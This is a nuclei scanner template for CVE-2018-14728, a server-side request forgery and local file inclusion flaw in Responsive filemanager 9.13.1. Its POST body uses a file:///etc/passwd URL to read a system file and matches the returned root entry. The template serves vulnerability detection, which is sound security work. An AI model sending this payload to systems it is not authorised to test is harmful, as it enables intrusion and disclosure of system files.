nuclei-templates/cves/2018/CVE-2018-14728.yaml

21 lines
361 B
YAML

id: CVE-2018-14728
info:
name: Responsive filemanager 9.13.1 - SSRF/LFI
author: madrobot
severity: high
tags: cve,cve2018,ssrf,lfi
requests:
- method: POST
path:
- "{{BaseURL}}/filemanager/upload.php"
body: "fldr=&url=file:///etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body